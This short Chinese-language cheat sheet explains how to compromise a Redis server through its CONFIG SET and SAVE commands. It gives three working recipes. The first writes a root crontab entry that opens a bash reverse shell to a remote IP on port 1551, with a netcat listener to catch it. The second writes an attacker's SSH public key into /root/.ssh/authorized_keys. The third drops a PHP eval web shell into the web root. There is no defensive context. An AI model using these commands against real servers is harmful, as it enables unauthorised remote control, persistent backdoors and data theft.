tar zxvf redis-x.x.x(版本).tar.gz cd redis-x.x.x make cp src/redis-cli /usr/bin/ ./redis-cli -h host -p port -a password
写定时任务crontabs
1 2 3 4 5
config set dir /var/spool/cron/crontabs config set dbfilename root set-.-"\n\n\n* * * * * bash -i >& /dev/tcp/xx.xx.xx.xx/1551 0>&1\n\n\n" save nc -v -l -p 1551
写ssh公钥
本地生成公私钥对
1
ssh-keygen -t rsa
连接redis,将刚才生成的公钥要在下面命令中使用
1 2 3 4
config set dir /root/.ssh/ config set dbfilename authorized_keys set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDUi1zueNmGKBCLMxRTHW5+VZ0Z0G5FjGapaV3NhzIcUQcHl+U9KkYoCIIXgXUrZc5xBBzaS+jdefiJobx2PXEKKssaGMBGFJ9vC+iRUYjoqCExzSXE6Lv52nqfp2JgKL2wu1yC/b5alIfVrj4N8PgDtLiEKz2DMwpXP8VPz0UUXpMgx4ASFnLYP5QB2mYY2LRvRkoydGnc61GAJiwCzSczx3kXCwAmZXGnS37892NKlFNshghqXsVhSnaHYHZNNtcRj2yD2poo0ZAHOJFT0TOcyj2HpMr821l6WxpjpeTAYnFeSAB8s9P9atC+RmyIZBg8w6cOpvL99Vf+LpcnRld4aDHZ4dKeXQjntQVdBtObqtaUen64cTpLvq+mYbBsoprRgyaHI+7NPWNm4HxkGzl3rYK3ujnbAmy2iwu4J9Skil4v5bL+i1lMWQovBU03AxOztx2MA7jUmyciKT+fp6pszWqN8okmQs78Cujp9IFJYgd6NfH3IjTBmaogkvnDEH8= root@kali\n\n\n" save
写webshell
根据实际情况寻找web路径,写webshell并访问
1 2 3 4
config set dir /var/www/html config set dbfilename shell.php set xx "<?php @eval($_POST['cmd']);?>" save